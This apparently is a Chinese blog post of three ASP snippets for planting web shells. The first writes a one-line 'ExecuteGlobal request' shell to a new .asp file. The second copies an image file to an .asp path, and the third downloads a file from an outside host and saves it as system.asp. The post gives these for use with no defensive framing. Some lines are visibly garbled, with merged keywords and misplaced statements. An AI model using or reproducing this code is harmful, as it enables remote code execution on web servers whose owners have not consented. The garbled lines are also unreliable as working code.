ASP FSO



1.FSO生成一句话代码


<%
Dim Content,Fso,Fout
Set Fso=Server.CreateObject("Scripting.FileSystemObject")
Set Fout=Fso.CreateTextFile(Server.Mappath("../123.asp")) 
Fout.WriteLine"<script language=VBScript runat=server>"
if request(chr(35))<>"""" 
then
Fout.WriteLine"response.clear" 
Fout.WriteLine"ExecuteGlobal request(chr(35))" 
Fout.WriteLine"end if" 
Fout.WriteLine"</script>" 
Fout.Write Content 
Fout.CloseSet 
Fout=NothingSet 
Fso=Nothing
%>




2.FSO复制文件代码


<% 
TempSource=Server.MapPath("/921196360.jpg") //源文件
TempEnd=Server.MapPath(folder&"../4040.asp") //目标文件
CopyFiles(TempSource,TempEnd)   
Function CopyFiles(TempSource,TempEnd)
Dim FSO 
Set FSO =Server.CreateObject("Scripting.FileSystemObject")
IF FSO.FileExists(TempEnd)
then
Response.Write"目标备份文件 <b>"& TempEnd &"</b> 
已存在,请先删除!"
Set FSO=Nothing 
Exit 
FunctionEndIF
IF FSO.FileExists(TempSource)
Then
ElseResponse.Write"要复制的源数据文件 <b>"&TempSource&"</b> 不存在!"
Set FSO=Nothing Exit 
FunctionEnd
If FSO.CopyFile 
TempSource,TempEnd Response.Write"已经成功复制文件 <b>"&TempSource&"</b> 到 <b>"&TempEnd&"</b>"
Set FSO =NothingEndFunction
%>




3、XMLHTTP 无FSO用到的下载文件代码


<%
Set xPost =CreateObject("Microsoft.XMLHTTP") 
xPost.Open"GET","http://www.xxxxx.com/921994421.jpg",False 
xPost.Send()
Set sGet =CreateObject("ADODB.Stream") sGet.Mode=3 
sGet.Type=1 
sGet.Open() 
sGet.Write(xPost.responseBody) 
sGet.SaveToFileServer.MapPath("../system.asp"),2
set sGet =nothing
set sPOST =nothingresponse.Write("下载成功!")
%>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

季海晨

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值